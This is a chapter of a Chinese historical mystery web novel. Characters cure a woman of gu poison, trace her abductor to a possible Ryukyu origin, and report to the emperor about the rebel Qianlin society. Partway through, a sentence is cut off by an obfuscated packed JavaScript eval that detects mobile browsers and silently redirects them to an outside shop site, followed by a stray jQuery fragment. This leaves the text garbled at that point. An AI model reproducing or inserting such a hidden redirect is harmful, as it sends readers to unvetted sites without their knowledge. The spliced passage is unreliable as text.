昏迷不醒的章怀贞现在可是唯一的希望!
几人连忙叫了汪间赶过去。
汪间忙活许久才从屏风后转出。
“确实是蛊毒,她昏迷不醒也是因为蛊毒。”
张知闲双眼一眯。
“李纯青那个狗儿的不会给她下了阴阳蛊吧!”
“差不多,这种蛊很是特殊,需要李纯青定期给她喂血。”
章怀贞对叶擢而言,和半个妹妹似的,听到此言,他自然焦急。
“汪大人可有办法?”
“有。这种蛊对于蛊……”汪间一顿,“我来说,小事一桩。之前是因为她的蛊毒发作并不严重,我才没有察觉。老大,你进来配合我驱蛊。其余人,等着。”
张知闲随他转到屏风后,低声问道:“可是要我的血?”
“嗯……”汪间拿出银针,小声说道,“你体内的是蛊王,最霸道不过,有你的血入体,那蛊虫必死无疑。”
张知闲痛快伸手,还催促让他快点。
这时候若能让章怀贞苏醒,别说几滴血,要她半条命都行!
汪间动作很快,取了她几滴血装在瓶内,又放入几颗药丸,倒了水化开,给人服下。
药刚入口,章怀贞身子就抽搐了两下。
苍白的面色瞬间浮起一丝血色。
汪间长舒一口气。
“成了。”
张知闲凑近道:“这事儿也怪我。”
“什么怪你?”
“其实我当时冲进火场就是因为体内的蛊虫躁动。但当时情况太紧急,事后也没反应过来那是蛊虫躁动的迹象。”
“蛊虫之间感应的躁动不太明显。”汪间伸手去捉她的手腕,“我才想起,你前些日子还发作了一次,让我看看。”
心虚的张知闲急忙一缩。
“好着呢!不麻烦了,我还有事儿要做呢!”
汪间上下看了她一眼。
“你现在还有什么事要做?”
“写信啊!这些事儿不该向陛下回报吗?”
张知闲写信的打算还是被沈慕华拦住了。
她认为一切等章怀贞苏醒后,看看她哪里有没有线索再说。
这一等,便是两日。
章怀贞家人都去世了,也就一个师父和她还算亲人。
在她苏醒后,借莲信之口,他们将发生的事情告知给了她。
得知亲人都被人掳走,作案之人还是自己救过的李纯青,章怀贞痛不欲生。
她自认是自己招来了祸患,导致家人被害。
还好有莲信开导她。
她才缓了过来。
这中间又隔了两日,张知闲才去见了她。
一进门,章怀贞便客客气气对她行了礼。
“民女见过张大人。此次多靠张大人忙碌,民女铭感五内,无以为谢。”
张知闲对她观感不错。
她身上带着一股特有的柔和包容之气。
“章小姐不必客气,本是我分内之事。”
二人坐下后,她才试探着开口。
“章小姐,身子可好些了?”
章怀贞面露淡笑。
这位张大人,确如叶家兄长所言一般,是个和传闻中不大相同的人。
若非对她早有耳闻,此时她只会觉得对方是个开朗可亲的少女。
“张大人不必忧心。这几日我已想通了好些。爹娘他们暂无性命之忧,当务之急是捉到贼人,好将他们早日救回。”
她慢慢说起这几日的经历。
那日宴会结束后,她回到房内休息,醒来后却已身在密室之内。
在那里,她见到了李纯青。
李纯青向她疯狂诉说了所谓的爱意,还说要带她离开回自己家中。
章怀贞极其聪颖,知道此时硬碰硬是不行的,便假意逢迎,从他口中套话。
也因此,李纯青并未对她做出出格的举动,还好吃好喝养着她。
一直到起火那日,她被迷烟熏晕……
“回他的家里?”
“是,当时他原话说的是,我们先去琉球就能回家,到时候,我能过上的日子不会比现在差。”
“难道他是琉球人?”
琉球是大明的藩属国之一,两国关系向来融洽。
琉球对大明很是忠诚。藩属国中,就属琉球最老实,对大明的朝贡也最是尽心。名目繁多不说,次数也是最多的。
而大明在朝贡上向来“厚往薄来”,对琉球的赏赐通常远超其贡品的丰厚。
除此以外,洪武年间,大明还派遣了“闽人三十六姓”移居琉球,教授他们各项技艺,收琉球人入国子监读书,以施教化。
多年来,琉球从大明获得大量瓷器茶叶丝绸,凭借自身身处“万国津梁”要地的优势,对外售出,赚取大量白银。
双方互惠互利,就连数年前,琉球政变,也未曾影响到双方的关系。
那伙人真的会是琉球人吗?
“他没说,只提了这一句。还有一事,起火的前一日,他曾经让我给他擦药。”
张知闲脑内灵光一现。
“是不是背部?烫伤?”
“您怎么知道?他背上被烫坏了大半。我问他怎么回事。他说有了这伤,他才能带着我离开。”
张知闲这下算是知道李纯青背上的药味怎么来的的。
冰片和黄连,都是治烫伤的!
看来是他背上有刺青,为了掩饰刺青,他才烫伤了自己。
“除了这些以外,他还说过什么?”
“他……让我叫他唐。”
张知闲想了想。
“或许,李纯青和向远致一般,都是冒充的?唐,是他的真名。”
章怀贞也想不起其他有用的线索。
她很是失落。
“对不住,我只知道这些了。”
张知闲大咧咧一笑。
“你知道的线索很有用啊!我们之前抓到的人都没有提到过琉球呢!”
“多谢张大人宽慰。”章怀贞低头,羞涩一笑。
瞧着就是书香门第家的小姐,雅气。
张知闲问她:“章小姐,你之后有何打算呢?”
“还是回道观吧。至于家里的产业,我会打理。”她拱手放在胸前,“等待爹娘和兄长他们归来。”
张知闲亦做此状。
“福生无量天尊,他们都会平安归来的。”
……
张桃灼正如往常,躺在院儿里的摇椅上晒太阳。
秋日和暖,她微微眯起眼,桃花似的眼眸水光潋滟。
正惬意着呢,耳边便传来急匆匆的脚步声。
步子迈得又大又急,一听就知道是谁。
她撑起身,看向院门。
高大的男子显出身影,淡眉紧皱,眼角细纹浮现,一身沉沉的压迫感。
二人相识之时,对方不过十七八的年纪,与现在区别不算太大,但沉稳内敛了许多。
难得见他如此。
张桃灼懒懒道:“是不是闲闲又惹麻烦了?”
“若只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948333|213138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是如此就好了。”汪直挤在她边上坐下,从怀中将信掏出给她。
张桃灼看着信,双眼一点点睁大,身子也坐直了。
“不会还是李子龙余党吧?这些人是属蚯蚓的吗?”
“我更怀疑,他们就是当时在大同的那一伙人。”汪直薄唇抿成了一条线,“必须让她回来,不能让那伙人再接触她。”
张桃灼却摇摇头。
“若真是他们,那才是天意。”
“太危险了。”
“闲闲今年满十八了,已经成人,正是向他们讨债的时候!”
汪直大叹一口气,揉了一把脑袋。
“得了!我是坳不过你们娘俩儿!”
张桃灼搂住他的腰。
“这才是我的好夫君,闲闲的好爹爹呀~”
汪直面色一松,却还是硬生生板起脸。
“我不吃你这一套。”
他现在已经是三十多的人了,可不能像以前一样,毛头小子似的!
张桃灼干脆利落亲了他一口。
“好喜欢你呀,怎么办呐~夫君夫君!”
汪直耳朵红得透透的,嘴角一下翘了起来。
“黏黏糊糊。”他凑近蹭了蹭了又飞快站起身,将信一把拿过,说了一句“要进宫”便飞似的跑了。
此时的皇帝正和皇贵妃在一块晒太阳。
见汪直匆匆而来。
他面上笑容微收。
“是宁波来信?”
汪直一拜。
“是,刚来的消息。”
皇帝挥退左右,才让汪直开口。
汪直双手将信件奉上。
“此事涉及琉球,兹事体大,请陛下示下。”
皇帝看了信,眉头一点点皱了起来。
皇贵妃也在看,她口快。
“蛊虫?黑眚?难道李子龙还有余党?”
汪直也纳闷。
“按理说,李子龙余党应当已经剿灭,臣更怀疑是十年前,大同那一伙人所为。”
皇帝放下信函。
“琉球使臣可是要回来?”
“是,按照行程,年前就能到琉球。”
“让闲丫头他们先去福州。等年后,以护送使臣的名义去一趟琉球。你吩咐下去,此事,严查。还有,向远致怎会被人替换?!”皇帝声音骤然一高。
宁波那样重要的地方,作为一把手的知府竟然被人替换,这怎能让人不动怒?
汪直连忙跪下回话。
“此事已经查过。向远致本是辽东人,家中并无亲故,在国子监苦读数年后就孤身去了宁波上任。锦衣卫一一核查完,才确定他是去宁波的路上被人替换的。还有那个李纯青,他的身世也是孤苦。这伙贼人专挑无亲无故之人下手,实在让人难以防备。锦衣卫已经去核查各地官员身份,推荐李纯青的人也已捉拿归案。”
“你办事妥帖。”皇帝涨红的面色稍缓,手指在茶盏上滑了一圈,“叶家,是那个叫叶擢的解元家?”
“是。”
皇帝叹气:“这孩子时务策答得尤其好,言之有物,和那些死读书的不同。就是这运气……有点可惜。”
“二十出头,耽搁几年反而更沉稳。”
皇帝看着汪直,淡淡一笑。
“一眨眼,你都长皱纹了。当年捉李子龙的时候,你才十几岁呢。”皇帝面上的笑忽的一收,“潜鳞社……潜鳞戢羽,藏迹敛锋,这是有什么宏图伟业要他们如此苦心孤诣?”
汪直直接说道:“一群大逆不道反贼罢了。”